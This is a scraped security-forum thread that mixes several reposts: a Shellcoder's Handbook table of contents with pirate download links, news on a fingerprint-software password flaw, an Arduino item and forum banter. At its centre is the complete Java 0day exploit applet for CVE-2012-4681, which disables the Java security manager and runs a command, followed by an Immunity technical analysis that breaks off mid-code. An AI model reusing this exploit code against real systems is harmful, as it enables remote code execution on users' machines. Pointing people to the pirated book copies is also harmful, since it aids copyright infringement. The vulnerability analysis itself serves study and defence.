Nytro

The Shellcoder’s Handbook Discovering and Exploiting Security Holes Second Edition Chris Anley John Heasman Felix “FX” Linder Gerardo Richarte The Shellcoder’s Handbook: Discovering and Exploiting Security Holes (1st Edition) was written by Jack Koziol, David Litchfield, Dave Aitel, Chris Anley, Sinan Eren, Neel Mehta, and Riley Hassell. "This book is dedicated to anyone and everyone who understands that hacking and learning is a way to live your life, not a day job or semi-ordered list of instructions found in a thick book." About the Authors vii Acknowledgments xi Introduction to the Second Edition xxiii Part I Introduction to Exploitation: Linux on x86 Chapter 1 Before You Begin 3 Basic Concepts 3 Memory Management 4 Assembly 6 Recognizing C and C++ Code Constructs in Assembly 7 Conclusion 10 Chapter 2 Stack Overflows 11 Buffers 12 The Stack 13 Functions and the Stack 15 Overflowing Buffers on the Stack 18 Controlling EIP 22 An Interesting Diversion 23 Using an Exploit to Get Root Privileges 25 The Address Problem 27 The NOP Method 33 Defeating a Non-Executable Stack 35 Return to libc 35 Conclusion 39 Chapter 3 Shellcode 41 Understanding System Calls 42 Writing Shellcode for the exit() Syscall 44 Injectable Shellcode 48 Spawning a Shell 50 Conclusion 59 Chapter 4 Introduction to Format String Bugs 61 Prerequisites 61 What Is a Format String? 61 What Is a Format String Bug? 63 Format String Exploits 68 Crashing Services 69 Information Leakage 70 Controlling Execution for Exploitation 75 Why Did This Happen? 84 Format String Technique Roundup 85 Conclusion 88 Chapter 5 Introduction to Heap Overflows 89 What Is a Heap? 90 How a Heap Works 91 Finding Heap Overflows 91 Basic Heap Overflows 93 Intermediate Heap Overflows 98 Advanced Heap Overflow Exploitation 105 Conclusion 107 Part II Other Platforms—Windows, Solaris, OS/X, and Cisco Chapter 6 The Wild World of Windows 111 How Does Windows Differ from Linux? 111 Win32 API and PE-COFF 112 Heaps 114 Threading 115 The Genius and Idiocy of the Distributed Common Object Model and DCE-RPC 116 Recon 118 Exploitation 120 Tokens and Impersonation 120 Exception Handling under Win32 122 Debugging Windows 124 Bugs in Win32 124 Writing Windows Shellcode 125 A Hacker’s Guide to the Win32 API 126 A Windows Family Tree from the Hacker’s Perspective 126 Conclusion 127 Chapter 7 Windows Shellcode 129 Syntax and Filters 129 Setting Up 131 Parsing the PEB 132 Heapoverflow.c Analysis 132 Searching with Windows Exception Handling 148 Popping a Shell 153 Why You Should Never Pop a Shell on Windows 153 Conclusion 154 Chapter 8 Windows Overflows 155 Stack-Based Buffer Overflows 156 Frame-Based Exception Handlers 156 Abusing Frame-Based Exception Handling on Windows 2003 Server 161 A Final Note about Frame-Based Handler Overwrites 166 Stack Protection and Windows 2003 Server 166 Heap-Based Buffer Overflows 173 The Process Heap 173 Dynamic Heaps 173 Working with the Heap 173 How the Heap Works 174 Exploiting Heap-Based Overflows 178 Overwrite Pointer to RtlEnterCriticalSection in the PEB 178 Overwrite Pointer to Unhandled Exception Filter 185 Repairing the Heap 191 Other Aspects of Heap-Based Overflows 193 Wrapping Up the Heap 194 Other Overflows 194 .data Section Overflows 194 TEB/PEB Overflows 196 Exploiting Buffer Overflows and Non-Executable Stacks 197 Conclusion 203 Chapter 9 Overcoming Filters 205 Writing Exploits for Use with an Alphanumeric Filter 205 Writing Exploits for Use with a Unicode Filter 209 What Is Unicode? 210 Converting from ASCII to Unicode 210 Exploiting Unicode-Based Vulnerabilities 211 The Available Instruction Set in Unicode Exploits 212 The Venetian Method 213 An ASCII Venetian Implementation 214 Decoder and Decoding 218 The Decoder Code 219 Getting a Fix on the Buffer Address 220 Conclusion 221 Chapter 10 Introduction to Solaris Exploitation 223 Introduction to the SPARC Architecture 224 Registers and Register Windows 224 The Delay Slot 227 Synthetic Instructions 228 Solaris/SPARC Shellcode Basics 228 Self-Location Determination and SPARC Shellcode 228 Simple SPARC exec Shellcode 229 Useful System Calls on Solaris 230 NOP and Padding Instructions 231 Solaris/SPARC Stack Frame Introduction 231 Stack-Based Overflow Methodologies 232 Arbitrary Size Overflow 232 Register Windows and Stack Overflow Complications 233 Other Complicating Factors 233 Possible Solutions 234 Off-By-One Stack Overflow Vulnerabilities 234 Shellcode Locations 235 Stack Overflow Exploitation In Action 236 The Vulnerable Program 236 The Exploit 238 Heap-Based Overflows on Solaris/SPARC 241 Solaris System V Heap Introduction 242 Heap Tree Structure 242 Basic Exploit Methodology (t_delete) 263 Standard Heap Overflow Limitations 266 Targets for Overwrite 267 Other Heap-Related Vulnerabilities 270 Off-by-One Overflows 270 Double Free Vulnerabilities 270 Arbitrary Free Vulnerabilities 271 Heap Overflow Example 271 The Vulnerable Program 272 Other Solaris Exploitation Techniques 276 Static Data Overflows 276 Bypassing the Non-Executable Stack Protection 276 Conclusion 277 Chapter 11 Advanced Solaris Exploitation 279 Single Stepping the Dynamic Linker 281 Various Style Tricks for Solaris SPARC Heap Overflows 296 Advanced Solaris/SPARC Shellcode 299 Conclusion 311 Chapter 12 OS X Shellcode 313 OS X Is Just BSD, Right? 314 Is OS X Open Source? 314 OS X for the Unix-aware 315 Password Cracking 316 OS X PowerPC Shellcode 316 OS X Intel Shellcode 324 Example Shellcode 326 ret2libc 327 ret2str(l)cpy 329 OS X Cross-Platform Shellcode 332 OS X Heap Exploitation 333 Bug Hunting on OS X 335 Some Interesting Bugs 335 Essential Reading for OS X Exploits 337 Conclusion 338 Chapter 13 Cisco IOS Exploitation 339 An Overview of Cisco IOS 339 Hardware Platforms 340 Software Packages 340 IOS System Architecture 343 Vulnerabilities in Cisco IOS 346 Protocol Parsing Code 347 Services on the Router 347 Security Features 348 The Command-Line Interface 348 Reverse Engineering IOS 349 Taking the Images Apart 349 Diffing IOS Images 350 Runtime Analysis 351 Exploiting Cisco IOS 357 Stack Overflows 357 Heap Overflows 359 Shellcodes 364 Conclusion 373 Chapter 14 Protection Mechanisms 375 Protections 375 Non-Executable Stack 376 W^X (Either Writable or Executable) Memory 381 Stack Data Protection 388 AAAS: ASCII Armored Address Space 394 ASLR: Address Space Layout Randomization 396 Heap Protections 399 Windows SEH Protections 407 Other Protections 411 Implementation Differences 413 Windows 413 Linux 417 OpenBSD 421 Mac OS X 422 Solaris 423 Conclusion 425 Part III Vulnerability Discovery Chapter 15 Establishing a Working Environment 429 What You Need for Reference 430 What You Need for Code 430 gcc 430 gdb 430 NASM 431 WinDbg 431 OllyDbg 431 Visual C++ 431 Python 432 What You Need for Investigation 432 Useful Custom Scripts/Tools 432 All Platforms 434 Unix 434 Windows 435 What You Need to Know 436 Paper Archives 438 Optimizing Shellcode Development 439 Plan the Exploit 439 Write the Shellcode in Inline Assembler 439 Maintain a Shellcode Library 441 Make It Continue Nicely 441 Make the Exploit Stable 442 Make It Steal the Connection 443 Conclusion 443 Chapter 16 Fault Injection 445 Design Overview 447 Input Generation 447 Fault Injection 450 Modification Engines 450 Fault Delivery 455 Nagel Algorithm 455 Timing 455 Heuristics 456 Stateless versus State-Based Protocols 456 Fault Monitoring 456 Using a Debugger 457 FaultMon 457 Putting It Together 458 Conclusion 459 Chapter 17 The Art of Fuzzing 461 General Theory of Fuzzing 461 Static Analysis versus Fuzzing 466 Fuzzing Is Scalable 466 Weaknesses in Fuzzers 468 Modeling Arbitrary Network Protocols 469 Other Fuzzer Possibilities 469 Bit Flipping 469 Modifying Open Source Programs 470 Fuzzing with Dynamic Analysis 470 SPIKE 471 What Is a Spike? 471 Why Use the SPIKE Data Structure to Model Network Protocols? 472 Other Fuzzers 480 Conclusion 480 Chapter 18 Source Code Auditing: Finding Vulnerabilities in C-Based Languages 481 Tools 482 Cscope 482 Ctags 483 Editors 483 Cbrowser 484 Automated Source Code Analysis Tools 484 Methodology 485 Top-Down (Specific) Approach 485 Bottom-Up Approach 485 Selective Approach 485 Vulnerability Classes 486 Generic Logic Errors 486 (Almost) Extinct Bug Classes 487 Format Strings 487 Generic Incorrect Bounds-Checking 489 Loop Constructs 490 Off-by-One Vulnerabilities 490 Non-Null Termination Issues 492 Skipping Null-Termination Issues 493 Signed Comparison Vulnerabilities 494 Integer-Related Vulnerabilities 495 Different-Sized Integer Conversions 497 Double Free Vulnerabilities 498 Out-of-Scope Memory Usage Vulnerabilities 499 Uninitialized Variable Usage 499 Use After Free Vulnerabilities 500 Multithreaded Issues and Re-Entrant Safe Code 500 Beyond Recognition: A Real Vulnerability versus a Bug 501 Conclusion 501 Chapter 19 Instrumented Investigation: A Manual Approach 503 Philosophy 503 Oracle extproc Overflow 504 Common Architectural Failures 508 Problems Happen at Boundaries 508 Problems Happen When Data Is Translated 509 Problems Cluster in Areas of Asymmetry 511 Problems Occur When Authentication and Authorization Are Confused 512 Problems Occur in the Dumbest Places 512 Bypassing Input Validation and Attack Detection 513 Stripping Bad Data 513 Using Alternate Encodings 514 Using File-Handling Features 515 Evading Attack Signatures 517 Defeating Length Limitations 517 Windows 2000 SNMP DOS 520 Finding DOS Attacks 521 SQL-UDP 522 Conclusion 523 Chapter 20 Tracing for Vulnerabilities 525 Overview 526 A Vulnerable Program 527 Component Design 529 Building VulnTrace 538 Using VulnTrace 543 Advanced Techniques 546 Conclusion 548 Chapter 21 Binary Auditing: Hacking Closed Source Software 549 Binary versus Source-Code Auditing: The Obvious Differences 550 IDA Pro—The Tool of the Trade 550 Features: A Quick Crash Course 551 Debugging Symbols 552 Binary Auditing Introduction 552 Stack Frames 552 Calling Conventions 554 Compiler-Generated Code 556 memcpy-Like Code Constructs 560 strlen-Like Code Constructs 560 C++ Code Constructs 561 The this Pointer 561 Reconstructing Class Definitions 562 vtables 562 Quick but Useful Tidbits 563 Manual Binary Analysis 563 Quick Examination of Library Calls 564 Suspicious Loops and Write Instructions 564 Higher-Level Understanding and Logic Bugs 565 Graphical Analysis of Binaries 566 Manual Decompilation 566 Binary Vulnerability Examples 566 Microsoft SQL Server Bugs 566 LSD’s RPC-DCOM Vulnerability 567 IIS WebDAV Vulnerability 568 Conclusion 570 Part IV Advanced Materials Chapter 22 Alternative Payload Strategies 573 Modifying the Program 574 The SQL Server 3-Byte Patch 575 The MySQL 1-Bit Patch 578 OpenSSH RSA Authentication Patch 580 Other Runtime Patching Ideas 581 GPG 1.2.2 Randomness Patch 583 Upload and Run (or Proglet Server) 584 Syscall Proxies 584 Problems with Syscall Proxies 587 Conclusion 596 Chapter 23 Writing Exploits that Work in the Wild 597 Factors in Unreliability 597 Magic Numbers 597 Versioning 598 Shellcode Problems 599 Countermeasures 601 Preparation 602 Brute Forcing 602 Local Exploits 603 OS/Application Fingerprinting 603 Information Leaks 605 Conclusion 606 Chapter 24 Attacking Database Software 607 Network Layer Attacks 608 Application Layer Attacks 618 Running Operating System Commands 619 Microsoft SQL Server 619 Oracle 620 IBM DB2 621 Exploiting Overruns at the SQL Level 623 SQL Functions 623 Conclusion 625 Chapter 25 Unix Kernel Overflows 627 Kernel Vulnerability Types 627 0day Kernel Vulnerabilities 636 OpenBSD exec_ibcs2_coff_prep_zmagic() Stack Overflow 636 The Vulnerability 638 Solaris vfs_getvfssw() Loadable Kernel Module Traversal Vulnerability 642 The sysfs() System Call 644 The mount() System Call 645 Conclusion 646 Chapter 26 Exploiting Unix Kernel Vulnerabilities 647 The exec_ibcs2_coff_prep_zmagic() Vulnerability 647 Calculating Offsets and Breakpoints 652 Overwriting the Return Address and Redirecting Execution 654 Locating the Process Descriptor (or the Proc Structure) 655 Kernel Mode Payload Creation 658 Returning Back from Kernel Payload 659 Getting root (uid=0) 665 Solaris vfs_getvfssw() Loadable Kernel Module Path Traversal Exploit 672 Crafting the Exploit 673 The Kernel Module to Load 674 Getting root (uid=0) 678 Conclusion 678 Chapter 27 Hacking the Windows Kernel 681 Windows Kernel Mode Flaws—An Increasingly Hunted Species 681 Introduction to the Windows Kernel 682 Common Kernel-Mode Programming Flaws 683 Stack Overflows 684 Heap Overflows 688 Insufficient Validation of User-Mode Addresses 688 Repurposing Attacks 689 Shared Object Attacks 689 Windows System Calls 690 Understanding System Calls 690 Attacking System Calls 692 Communicating with Device Drivers 693 I/O Control Code Components 693 Finding Flaws in IOCTL Handlers 694 Kernel-Mode Payloads 695 Elevating a User-Mode Process 696 Running an Arbitrary User-Mode Payload 699 Subverting Kernel Security 701 Installing a Rootkit 703 Essential Reading for Kernel Shellcoders 703 Conclusion 704 Index 705 Download: http://www.filehost.ro/28851249/the_shellcoders_handbook_pdf/ http://www.sendspace.com/file/efarp3 http://www.filetransfer.ro/bM5gyv

Ziceai ca se poate ceva, astept un demo...

Nu trebuie sa fie pe placul tuturor, trebuie sa fie pe placul meu

Sunt singurul de parere ca a sta cu o cagula pe cap in fata monitorului e o prostie?

Sus, in loc de acel negru, sa fie ca si jos, sa fie "echilibrat".

Daca v-ati inregistrat, nu ati primit mail de confirmare si nu puteti vedea link-urile de pe forum din cauza ca nu aveti contul activat, dati-mi PM si se rezolva. Este posibil sa fie o problema cu trimiterea mail-ului de activare a contului.

Bine ai venit.

[h=1]Widely used fingerprint reader exposes Windows passwords in seconds[/h][h=2]If your laptop uses software from UPEK, it's exposing your Windows password.[/h]by Dan Goodin - Sept 5 2012, 1:20am GTBDT An image from UPEK Protector Suite 2009. Fingerprint-reading software preinstalled on laptops sold by Dell, Sony, and at least 14 other PC makers contains a serious weakness that makes it trivial for hackers with physical control of the machine to quickly recover account passwords, security researchers said. The UPEK Protector Suite, which was acquired by Melbourne, Florida-based Authentec two years ago, is marketed as a secure means for logging into Windows computers using an owner's unique fingerprint, rather than a user-memorized password. In reality, using the software makes users less secure than they otherwise would be. When activated, the software writes Windows account passwords to the registry and encrypts them with a key that is easy for hackers to retrieve. Once the key has been acquired, it takes seconds to decrypt the password. "After analyzing a number of laptops equipped with UPEK fingerprint readers and running UPEK Protector Suite, we found that your Windows account passwords are stored in Windows registry almost in plain text, barely scrambled but not encrypted," said an advisory issued by Elcomsoft, a Russia-based developer of password-cracking software. "Having physical access to a laptop running UPEK Protector Suite, we could extract passwords to all user accounts with fingerprint-enabled logon." When Protector Suite isn't activated, Windows doesn't store account passwords in the registry unless users have specifically configured an account to automatically log in. Security experts have long counseled people not to use automatic login. That means computers that use the UPEK app are at a severe disadvantage compared with people who use a strong password to log in to a Windows account. The most obvious disadvantage is for those computers that have a Windows feature known as Encrypting File System enabled to prevent third parties from accessing sensitive files or folders. The key that unlocks that encrypted data is controlled by a Windows account password. Once the password is retrieved, the EFS-encrypted data stored on the computer can quickly be decrypted. Further, having quick access to the account password could unlock other data that might otherwise be harder to obtain. The Windows Data Protection application programming interface, for example, is also closely tied to account passwords and controls access to credentials used by Outlook, Internet Explorer, and possibly other applications. Of course, any time a PC is physically controlled by a hacker, its passwords are vulnerable to cracking attacks that have grown significantly more powerful in recent years. But without the use of the UPEK Protector Suite, hackers have access only to one-way password hashes, which, depending on the complexity of the underlying passcode, can take years or centuries to recover using brute-force methods. Use of the fingerprint software guarantees the success of the cracking operation, and it can also significantly reduce the time it takes. The easily cracked passwords are stored in the Windows registry even after the Protector Suite software has been deactivated, according to the Elcomsoft advisory. It is only removed when a user manually deletes it. The precise registry location of the encrypted password is not yet known. This article will be updated with instructions for locating and removing it if that information can be obtained. Authentec no longer actively markets Protector Suite, but according to archived data from the UPEK website, the app ships—or used to ship—on laptops manufactured by 16 different companies. In addition to Dell and Acer, other PC makers include Amoi, Asus, Clevo, Compal, Dell, Gateway, IBM/Lenovo, Itronix, MPC, MSI, NEC, Sager, Samsung, Sony, and Toshiba. It's unclear if Authentec officials plan to recall the product or issue an advisory warning laptop owners of the vulnerability. Company representatives didn't respond to Ars Technica e-mails requesting comment for this article. The Elcomsoft findings follow research published last month that showed that password hints are easily extracted from Windows 7 and Windows 8 machines. The discovery serves as a useful reality check for marketers who portray fingerprints and other user biometrics as a panacea for the difficulty of remembering and securing passwords. In fact, biometric readers are only as secure as the software that implements them. And even when devices are free of such implementation errors, biometrics such as fingerprints and iris scans may be vulnerable to cloning, opening up the possibility of a new class of attacks on the alternate authentication methods. According to Elcomsoft, Authentec officials have already said they're aware of the weakness. If true, it's disappointing that the company has yet to share that knowledge with the millions of people who likely have the software installed on their computers. A tutorial included with UPEK Protector Suite 2009 installed on a Sony Vaio touts the convenience of the application with the tag line: "Protect your digital privacy." It goes on to emphasize the benefits of using Protector Suite to encrypt files and folders. Now that a weakness has come to light that seriously undermines those assurances, Authentec should recall the software, or at the very least warn users that it is susceptible to serious attack. Sursa: Widely used fingerprint reader exposes Windows passwords in seconds | Ars Technica

[h=2]Advanced Linux Programming[/h] Do not use a download accelerator to download these files. To view and print the book, you will need a Portable Document Format (PDF) viewer application, such as Xpdf gv Adobe Acrobat Reader. Some web browsers have problems with inline PDF files. Try saving the file to your local filesystem before opening with a stand alone PDF viewer. If you still have problems viewing the file, make sure you have downloaded the entire file and the md5 checksum matches. [TABLE] [TR] [TH]Title[/TH] [TH]File[/TH] [TH]Filesize[/TH] [TH]md5 checksum [/TH] [/TR] [TR] [TH=align: left]The Entire Advanced Linux Programming Book in One File[/TH] [TD]pdf[/TD] [TD=align: right]1273361 [/TD] [TD]5e722dc5dfcde263ea06fa193e9f61b4 [/TD] [/TR] [TR] [TH=align: left]Front Matter and Table of Contents[/TH] [TD]pdf[/TD] [TD=align: right]1273361 [/TD] [TD]fe0c601b919879e93d79d25a78818b5c [/TD] [/TR] [TR] [TH=align: left]Chapter 01 - Advanced Unix Programming with Linux[/TH] [TD]pdf[/TD] [TD=align: right]235835[/TD] [TD]5923f2a5d7fb4f941fe905fbe45be196 [/TD] [/TR] [TR] [TH=align: left]Chapter 02 - Writing Good GNU/Linux Software[/TH] [TD]pdf[/TD] [TD=align: right]280326 [/TD] [TD]44c823c1240c7f70a6dc9dbfddbe03fa [/TD] [/TR] [TR] [TH=align: left]Chapter 03 - Processes[/TH] [TD]pdf[/TD] [TD=align: right]241758 [/TD] [TD]87b5d98ba5b5933cf2ad1dbcf37641aa [/TD] [/TR] [TR] [TH=align: left]Chapter 04 - Threads[/TH] [TD]pdf[/TD] [TD=align: right]292419 [/TD] [TD]11f392b44c073498e9ec9b3f718e54e7 [/TD] [/TR] [TR] [TH=align: left]Chapter 05 - Interprocess Communication[/TH] [TD]pdf[/TD] [TD=align: right]289853 [/TD] [TD]0de9b56476a0e6e536fbac68e09b02d2 [/TD] [/TR] [TR] [TH=align: left]Chapter 06 - Mastering Linux[/TH] [TD]pdf[/TD] [TD=align: right]268821[/TD] [TD]ab8940fbcc40018d72bd2016e662afba [/TD] [/TR] [TR] [TH=align: left]Chapter 07 - The /proc File System[/TH] [TD]pdf[/TD] [TD=align: right]258582[/TD] [TD]b3fe701f67a37ad7ba7233bcdc3f5d90 [/TD] [/TR] [TR] [TH=align: left]Chapter 08 - Linux System Calls[/TH] [TD]pdf [/TD] [TD=align: right]261352 [/TD] [TD]583182dc09bc8b3c3773ba6d0fc710f2 [/TD] [/TR] [TR] [TH=align: left]Chapter 09 - Inline Assembly Code[/TH] [TD]pdf [/TD] [TD=align: right]204992 [/TD] [TD]c226e58fc7bf544df477d8ae96b680ed [/TD] [/TR] [TR] [TH=align: left]Chapter 10 - Security[/TH] [TD]pdf [/TD] [TD=align: right]288441 [/TD] [TD]fc340b97e9c7f3fc2f5fe4dd71132ffd [/TD] [/TR] [TR] [TH=align: left]Chapter 11 - A Sample GNU/Linux Application[/TH] [TD]pdf[/TD] [TD=align: right]298215[/TD] [TD]50a205644e441ae26d2041567d131b82 [/TD] [/TR] [TR] [TH=align: left]Appendix A - Other Development Tools[/TH] [TD]pdf [/TD] [TD=align: right]272377 [/TD] [TD]09a9a79a3c3abe6869df3f1ab5b39b14 [/TD] [/TR] [TR] [TH=align: left]Appendix B - Low Level I/O[/TH] [TD]pdf [/TD] [TD=align: right]252755 [/TD] [TD]3eaa0f0bbd103e1cc7872663e227a14b [/TD] [/TR] [TR] [TH=align: left]Appendix C - Table of Signals[/TH] [TD]pdf [/TD] [TD=align: right]177879 [/TD] [TD]3b02a6abb38877580b743392b98c3290 [/TD] [/TR] [TR] [TH=align: left]Appendix D - Online Resources[/TH] [TD]pdf[/TD] [TD=align: right]148074 [/TD] [TD]372964ff1eb4f85aca3985736a06cc48 [/TD] [/TR] [TR] [TH=align: left]Appendix E - Open Publication License Version 1.0[/TH] [TD]pdf[/TD] [TD=align: right]176596 [/TD] [TD]5b1ddb8d38b6a44b357345ba6c25010e [/TD] [/TR] [TR] [TH=align: left]Appendix F - The GNU General Public License[/TH] [TD]pdf[/TD] [TD=align: right]228793 [/TD] [TD]e207c51489e6f3cfafba5b13bb5e3bd9 [/TD] [/TR] [TR] [TH=align: left]Index[/TH] [TD]pdf[/TD] [TD=align: right]1253094 [/TD] [TD]004eefcfc2c6dca9a21233e748b81f35 [/TD] [/TR] [/TABLE] PDF files: http://www.advancedlinuxprogramming.com/alp-folder/ Sursa/Info: Downloads for Advanced Linux Programming

Cica lu kwe nu ii place

[h=2]Make cell phone calls with your Arduino[/h]posted Sep 3rd 2012 7:17am by Brian Benchoff filed under: arduino hacks, cellphones hacks Cellular shields for the Arduino have been around for ages, but this is the first one we’ve seen that turns your Arduino into a proper cell phone. The shield is based around the SIM900 GSM/GPRS radio module, and is compatible with the SIM908 GSM/GPRS module that adds a GPS receiver. Also on board this shield are a pair of 1/8? audio jacks, perfect for connecting a microphone and headphones. Yes, you can actually make cell phone calls with your Arduino now. The real star of this build is the new GSM Shield library. This library of code includes the methods necessary for an Arduino to function as a cell phone (answer, hang up, dial a number), but also includes a lot of improvements for TCP/IP communication. Even though the cost of getting an Arduino communicating through a GSM or GPRS network is fairly high, we’re thinking this would be the perfect starting point for a completely open source, open hardware cell phone. A phone with the same functionality as an old Nokia brick that is also a MiFy would be an amazing piece of hardware, and would surely make for a profitable Kickstarter. Sursa: Make cell phone calls with your Arduino - Hack a Day

Pai veniti cu idei. Stransesem o lista lunga data trecuta. O parte: "Curiosity is our motivation, security is our hobby and information si our weapon." "Tonight, we dine in ASM" "The quieter you become, the more you are able to hear" - dar e fumata deja de BackTrack "Tomorrow will be canceled due to lack of interest." "Hack /dev/null" - ))))) "Life's a bitch and then you die." "Anything is good if it's made of epicness." "LEGALIZE INSANITY!" "Hackers come and go, but enemies accumulate.' "The Computer made me do it." "What we tell you three times is true." - asta mi se pare buna "Hacking - the vice of being right" "For every action there is an equal and opposite government program." Tomorrow is a better day, today it's RST. Pray for a better day, we are RST. Pray for a better day, RST is here. There's not right and wrong, it's all RST. Admin : "I had a nightmare today. RST." "Live between elliptic curves." -begood (se refera la elliptic curve cryptography) RST - the endless search for wisdom, hope and BOF. "The possession of anything begins in the mind." The art of hacking and security. The Future of hacking and security hacking and security it's real You never had hacking and security like this before. Master of hacking and security. hacking and security make the old days good. The hacking and security effect. It's not a matter of can or cannot, it's a matter of will or will not, everything is a choice, choose wisely. "We're Right,we're Free,we'll Fight,you'll See" sau initiala de la fiecare verb sa afiseze RST "we're Right,you('ll) See,we'll Tear all apart" *The higher the voice the smaller the intellect. *The overall process is not describable to an average person. M&M's *All computers wait at the same speed. *Blink your eyelids periodically to lubricate your eyes. *486: The average IQ needed to understand a PC. *We put the "um…" in Pentium. "We work in the shadow to serve the light" ""Where others are restricted by law or morality, remember: Everything is permitted."" "Amateurs hack systems, professionals hack people." "Through darkest night, we await the coming of the dawn." "Just when I thought I was out...they pull me back in" "We're all mad in here..." "Welcome to Hell. Here's your copy of Windows(knowledge..or something else)." If the intelligence community is a family, think of us as the uncle no one talks about.

Daca tot esti interesat de calculatoare cuantice, probabil esti mai informat ca multi de aici, deci de ce nu scrii un articol despre asta? E doar o sugestie, si eu sunt curios despre ce e vorba mai exact, dar nu am avut timp sa ma informez.

iPhone salveaza coordonatele geografice ale voastre in fiecare poza pe care o faceti si nu va mai plangeti (au fost oameni arestati din cauza asta), dar ca Micorosft "stie" ca "tu" (nu stie cine esti tu de fapt, stie doar ce instalezi) instalezi Winamp si Yahoo! Messenger, da, intr-adevar, e un mare atac la intimitate.

Bun, sa vedem ce zic astia, vorbesc diseara cu ei. Thanks

Eu nu am pretentii, mie mi se pare ok, doar cu mici modificari gen fara acel "hacker inside".

CVE-2012-XXXX Java 0day // // CVE-2012-XXXX Java 0day // // reported here: http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html // // secret host / ip : ok.aa24.net / 59.120.154.62 // // regurgitated by jduck // // probably a metasploit module soon... // package cve2012xxxx; import java.applet.Applet; import java.awt.Graphics; import java.beans.Expression; import java.beans.Statement; import java.lang.reflect.Field; import java.net.URL; import java.security.*; import java.security.cert.Certificate; public class Gondvv extends Applet { public Gondvv() { } public void disableSecurity() throws Throwable { Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]); Permissions localPermissions = new Permissions(); localPermissions.add(new AllPermission()); ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions); AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] { localProtectionDomain }); SetField(Statement.class, "acc", localStatement, localAccessControlContext); localStatement.execute(); } private Class GetClass(String paramString) throws Throwable { Object arrayOfObject[] = new Object[1]; arrayOfObject[0] = paramString; Expression localExpression = new Expression(Class.class, "forName", arrayOfObject); localExpression.execute(); return (Class)localExpression.getValue(); } private void SetField(Class paramClass, String paramString, Object paramObject1, Object paramObject2) throws Throwable { Object arrayOfObject[] = new Object[2]; arrayOfObject[0] = paramClass; arrayOfObject[1] = paramString; Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"), "getField", arrayOfObject); localExpression.execute(); ((Field)localExpression.getValue()).set(paramObject1, paramObject2); } public void init() { try { disableSecurity(); Process localProcess = null; localProcess = Runtime.getRuntime().exec("calc.exe"); if(localProcess != null); localProcess.waitFor(); } catch(Throwable localThrowable) { localThrowable.printStackTrace(); } } public void paint(Graphics paramGraphics) { paramGraphics.drawString("Loading", 50, 25); } } Sursa: #4594319 - Pastie

Java 0day analysis (CVE-2012-4681) Tuesday, August 28, 2012 (This post brought to you by Esteban, Immunity's in-house Java friend) Summary A couple of days ago, a Java 0day was found running like crazy in the wild. While a lot of defense bunnies where asking "WWMAD" (What will my Antivirus do?), we decide to dive into Java for the details of the vulnerability and as we expected, the unpatched vulnerabilities used in the Gondvv exploit were more than one (When we said, "dive deep into Java", we actually meant open our new Infiltrate 2013 Master Class slide deck which will include a full day of Java auditing). The first bug was used to get a reference to sun.awt.SunToolkit class that is restricted to applets while the second bug invokes the getField public static method on SunToolkit using reflection with a trusted immediate caller bypassing a security check. The beauty of this bug class is that it provides 100% reliability and is multiplatform. Hence this will shortly become the penetration test Swiss knife for the next couple of years (as did its older brother CVE-2008-5353). As a final note, the bug was introduced in Java 7.0 released in July 28, 2011. While you are feeling the rush of blood going through your veins while by getting all those shell being pop, think that somewhere not far way (Probably a 10hs flight from some of the major airports in Norte Americana) was enjoying it non-stop for quite some time now. Introduction As the “Secure Coding Guidelines” document [1] states, it is important to understand how the permissions are checked in the Java security model. (Please readguideline 9-1). Many operations in the JDK perform permission checks before executing. Whenever a call to java.security.AccessController.checkPermission method is performed, the complete call stack that exists at that moment is analyzed. If any of the callers in the stack do not have the required privileged an exception is raised. When we are running code in an Applet in our browser, there is a context that has very restricted permissions. This means that if there is any caller in the stack that is part of our applet, the permission checks will fail (unless there is a doPrivileged code block, but let's leave that out for now). Section “9 – Access Control” in the “Secure Coding Guidelines” document [1] together with the “Java Security Architecture” document [2] will give you a complete insight on how all this works. The Gondvv exploit A PoC for this 0 day exploit quickly began to spread when Joshua J. Drake posted it on Twitter https://twitter.com/jduck1337/status/239875285913317376. By analyzing this implementation we can clearly see how the exploitation is done and where the vulnerabilities are really located. The first thing we notice, is that most of the online analysis talks about one vulnerability where we saw two 2 vulnerabilities being exploited to achieve full execution on a target. Basically the exploit is creating an java.security.AccessControlContext instance with a java.security.ProtectionDomain that has full permissions and then replace the actual AccessControlContext of a java.beans.Statement instance to be able to execute code with full privileges. So let's take a better look at each part to understand what is happening under the hood. In the java.beans.Statement implementation we can see that the AccessControlContext instance is a private final field and it gets its value by calling AccessController.getContext(). [TABLE="width: 100%"] [TR] [TD="width: 100%"] [FONT=Monospace][B]public class[/B] Statement {[/FONT] [FONT=Monospace][B]private static[/B] Object[] [I]emptyArray[/I] = [B]new[/B] Object[]{};[/FONT] [FONT=Monospace][B]static[/B] ExceptionListener [I]defaultExceptionListener[/I] = [B]new[/B] ExceptionListener() {[/FONT] [FONT=Monospace][B]public void[/B] exceptionThrown(Exception e) {[/FONT] [FONT=Monospace]System.[I]err[/I].println(e);[/FONT] [FONT=Monospace]System.[I]err[/I].println("Continuing ...");[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace]};[/FONT] [FONT=Monospace][B]private final[/B] AccessControlContext acc = AccessController.[I]getContext[/I]();[/FONT] [FONT=Monospace][B]private final[/B] Object target;[/FONT] [FONT=Monospace][B]private final[/B] String methodName;[/FONT] [FONT=Monospace][B]private final[/B] Object[] arguments;[/FONT] [FONT=Monospace]ClassLoader loader;[/FONT] [FONT=Monospace][...][/FONT] [FONT=Monospace]}[/FONT] [/TD] [/TR] [/TABLE] That call to the getContext method will set the AccessControlContext to an applet context that has restrictions with a limited ProtectionDomain which of course is not privileged at all. Back in 2010 Sami Koivu published information about a Java vulnerability (CVE-2010-0840) that built a “trusted method chain” [4]. You can see in the article that the exploitation of that vulnerability also made use of the java.beans.Statement class. The article also explains that the fix was to add an AccessControlContext field to the Statement class setting its value to the applet context when creating an instance thus avoiding the full trusted chain. This AccessControllContext field added in that fix is exactly what this new 0 day exploit is replacing in order to be able to execute code with full permissions. But how can a private field be changed? The trick here is to use the sun.awt.SunToolkit class which contains a very interesting public static method: [TABLE="width: 100%"] [TR] [TD="width: 100%"] [FONT=Monospace][B]public static[/B] Field getField([B]final[/B] Class klass, [B]final[/B] String fieldName) {[/FONT] [FONT=Monospace][B]return[/B] 